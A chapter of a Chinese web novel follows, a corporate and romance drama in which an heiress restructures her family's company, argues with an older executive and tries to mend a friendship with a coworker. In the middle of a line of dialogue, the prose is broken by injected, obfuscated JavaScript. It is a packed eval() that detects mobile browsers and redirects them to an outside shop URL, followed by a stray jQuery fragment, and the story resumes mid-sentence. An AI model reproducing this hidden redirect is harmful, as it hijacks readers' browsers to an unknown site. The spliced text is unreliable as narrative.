宋千曦花了三天时间,跟淑云集团下各品牌的总经理开了会,综合评估过各个品牌的营收和口碑后,便开始大刀阔斧地改革。
不赚钱还拉低集团口碑的品牌直接砍掉,营收连年下滑的核心品牌也需要调□□格和方向。
大部分情况下,方恒都和宋千曦持相同意见,唯独对晴天娃娃这个品牌产生了不同看法。
宋千曦原本就瞧不上这个垃圾品牌,加上她打算把自己的美妆品牌并入淑云集团一起管理,相比之下晴天娃娃也就越发显得可有可无。
但是方恒却似乎有些犹豫。
因为这个晴天娃娃,真的带回了他的千曦,带回了他的晴天。
宋千曦虽然不解,但也能感受到方恒对这个品牌怀有很深的感情,于是还是决定留下这个小破牌子。
“那就留着吧。不过现在的产品质量真的太烂了,需要立刻升级质地和包装,让Cecile的产品总监协同负责,原本的产品部门可以解散了……”
随之而来的就是大裁员。
没用的品牌不要了,没用的部门也原地解散,纪国平一党的高管也找个借口通通换掉。
秉持着“疑人不用”的原则,重要的岗位上,宋千曦通通换上了自己信任的人。
再来是公司内部的管理。
在淑云集团埋伏了两个月后,宋千曦现在最痛恨的就是公司的加班文化。
你说工作没完成加个班也就算了,开会时间安排在下班后又是几个意思?
于是淑云集团从今往后不允许下班开会,不允许周末团建,不允许无故占用员工的下班时间。上班时间能搞定的事情,绝不拖到下班以后。
加班很难一刀切地禁止,但是会变成评估部门效率的一项指标。那些天天加班的部门则需要反思,到底是工作量安排得不合理,还是底下员工的效率太低。
宋千曦重重敲了敲桌面,脸不红心不跳道:“你们没有夜生活我还是有的。”
方恒心虚地抬手扶着额角,挡住了众人的视线。
*
齐副总被赶走后,纪国平自知大势已去,也不敢公然反对宋千曦,只好在一个接一个的会议过后,私底下来找她。
“千曦啊,你说你要撤裁不赚钱的品牌线也就算了,这不让加班又是什么意思?加班是好事啊!”
宋千曦累了一天,这会儿也没把纪叔叔当外人,脱了鞋靠在总裁办公室新买的沙发里,给自己倒了杯红酒。
“我不喜欢公司上下这种形式主义,高层也全都一副假惺惺的嘴脸,看着恶心。”
纪国平背着手,好气又好笑道:“加班是形式主义,不加班难道就不是形式主义?”
“工作又不会无端变少,做不完工作的人不在公司加班也会在家里加班。都是做样子给你看,只是取决于你想看什么罢了。”
宋千曦摇晃着红酒杯笑道:“也许吧,但这至少是一个好的开始。总有一部分不喜欢做样子的同事,能够在下班时间有更多时间陪家人。”
纪国平深深叹气,摇了摇头,“你爷爷把淑云集团留给你,不是让你这样霍霍的。”
宋千曦不像方恒,偏不吃这套,无所谓道:“我爷都把公司留给我了,不给我霍霍,难道给你霍霍?”
纪国平难以置信地看着宋千曦,看着她和曾经乖巧礼貌的样子简直判若两人。
“难怪你爷爷走的时候,对你那么失望!怎么出国一趟,连最基本的对长辈的礼数都没有了?”
宋千曦也冷下了脸,“对长辈的礼数?在家里你是长辈,在公司我才是控股股东。要求我对你礼貌的同时,你对我的尊重又在哪里?”
“我劝你以后说话也客气点,哪天把我惹烦了我就把公司卖给LVMH,阿尔诺先生可比你有诚意。”
“你——!”纪国平气得血压都高了。
宋千曦端起酒杯一饮而尽,重重往一旁的小桌上一搁,“汪秘书,送客!”
-
紧接着便是清明节,宋千曦和方恒一同去给爷爷扫墓。
爷爷的墓碑在墓园里地势最高的一角,在这里能够平静地瞭望整个墓园。
爷爷去世的时候,宋千曦没在身边。
她那时还远在国外,所以她也不知道爷爷是不是真的对她很失望。
方恒说不是的,爷爷只是很想你。
于是宋千曦久久地站在爷爷的墓前,沉默地注视着墓碑上爷爷的瓷像。
从很久以前开始,她和爷爷就已经不再是小时候无话不谈的关系了。
明明最近发生了很多事,公司的事也好,她和方恒的事也好,可是她却无从和爷爷说起。
宋千曦沉默良久,才用很轻的声音开了口。
“爷爷,你确实很了解方恒。他跟您期待中一样优秀,一样可靠。但是……您还是不够了解我。”
“我注定不会是您喜欢的乖乖女,也无法成为妈妈那样的大家闺秀。”
“我比您想象中的要更顽劣,也更有自己的想法。”
“但是……您可以放心。我会照顾好淑云集团,也会照顾好方恒和妈妈。”
“这个家,以后有我担着呢。”
说完这些,宋千曦抬手,轻轻抚上爷爷的墓碑。
就像很小的时候,她也曾没大没小地踮着脚摸过爷爷的头。
不远处的步道上,方恒穿着件黑色风衣,神色温柔地等在那里。
-
忙完公司里这些事情后,宋千曦才终于有了片刻喘息的时间,这才想起来已经很久没跟萌萌他们一起吃午饭了。
于是这天中午,宋千曦特意从外面餐厅点了精致的粤菜到方恒办公室,又让汪秘书去把萌萌和彭彭一块叫来。
两人来了后,有些拘谨地在门口停下了脚步,敲了敲门。
彭彭表面上还算轻松,笑呵呵问:“宋老板找我们有事儿?”
宋千曦已经拆开外卖包装摆放好了菜品,朝他们招了招手道:“来吃饭!我叫了外卖,省得还要去楼下小食堂排队,快来坐!”
“哎哟?”彭彭搓了搓手,咽了咽口水就去了,“不愧是宋老板啊哈哈哈,咱们宋老板就是大气!”
彭彭这人向来很简单,只要有人请吃饭,那就没有不吃的道理。
萌萌虽然也一块坐下了,但是吃饭的时候却一直很沉默。
宋千曦隐隐觉得不对,还问萌萌:“怎么了这是?身体不舒服吗?”
萌萌摇摇头,“没什么,就是没什么胃口……”
宋千曦想了想又问,“那你有什么想吃的吗?奶茶?咖啡?薯片?冰淇淋?我给你点。”
萌萌还是摇头,神情恹恹,“没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833012|209232||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事。”
饭后,宋千曦去了趟厕所,刚好碰到萌萌和前台的陈静一块出来。
陈静见了宋千曦,立刻低下头喊了声:“宋总。”
萌萌脚步一顿,也低下头跟着轻声叫了声“宋总”。
宋千曦愣了,在两人经过身边时一把抓住了萌萌的手,没让她走。
“怎么了这是?怎么一下这么生分了?”
萌萌低着头,一时也不知道该说些什么,“没有吧……”
宋千曦愣愣眨了眨眼睛,“我们还是朋友吧?”
萌萌勉强地勾了勾嘴角,眼睛却微微红了,“我不知道……我是这么希望的,但是我说了也不算吧。”
宋千曦此时才意识到什么,“……你在生我的气吗?”
萌萌抿着唇沉默良久,却突然反问:“……我不该生气吗?你知道你走的时候,我多担心你吗?现在你变成宋总回来了,我也很高兴你并没有让自己受欺负受委屈……”
“……但是,你要是问我,我们还是不是朋友……这种问题要我怎么回答呢?大家都叫你宋总、宋老板了……我……”
宋千曦连忙道:“等一下!我确实是淑云的老板,但我也是你的朋友,这两者并不冲突的!上班时间我们保持专业合作,午休时间或下了班我们照样是朋友啊!现在既然是午休时间,那你依然可以叫我曦曦……”
“……算了吧。”萌萌默默抽回了手,“公司里这么多人,大家都看着呢,我叫你曦曦,多不好……我原本也不是因为你是宋总才和你成为朋友的,我只是……”
萌萌似乎还想说什么,但又不知该怎么说,于是摇摇头转身离开了原地。
-
总裁办公室。
宋千曦绝望地瘫倒在了沙发上,“我好伤心。”
方恒从电脑前抬起了头,“怎么了?”
宋千曦两眼含泪,“我伤透了萌萌的心。”
方恒沉默片刻后问,“那不是应该她伤心吗?”
宋千曦更难过了,紧紧抱住了抱枕,“现在就是她也伤心,我也伤心!啊我真的好伤心!”
方恒无言地眨了眨眼睛。
“我要把我最喜欢的HelloKitty送给她!”
“那她也喜欢HelloKitty吗?”
“我不知道!”宋千曦悲伤又绝望,“她好像喜欢草莓蛋糕!”
“……那你为什么不送她草莓蛋糕……”
“你说得对!那我要给她买一个全世界最大的草莓蛋糕!”
“那吃得完吗……”
“我不知道!”宋千曦伤心欲绝,紧紧箍着怀里的抱枕,“但要是买小了她不肯原谅我怎么办?!”
方恒哭笑不得,“……那应该不会的……”
宋千曦再次像一滩泥巴一样无力地瘫倒在了沙发上。
她不知道要怎么做才能得到萌萌的原谅。
方恒抿抿唇问:“要不试着自己做一个?如果是你亲手做的草莓蛋糕,我想她一定能感受到你的心意的。”
“真的吗?!”宋千曦的眼里立刻闪出了钻石般璀璨的光芒,然而那光芒很快又黯淡了下去,“可是我不会做草莓蛋糕……”
“我会。”那光芒似乎转移到了方恒的眼睛里,方恒不自觉地挺起了胸脯坐直了身体,“我可以教你。”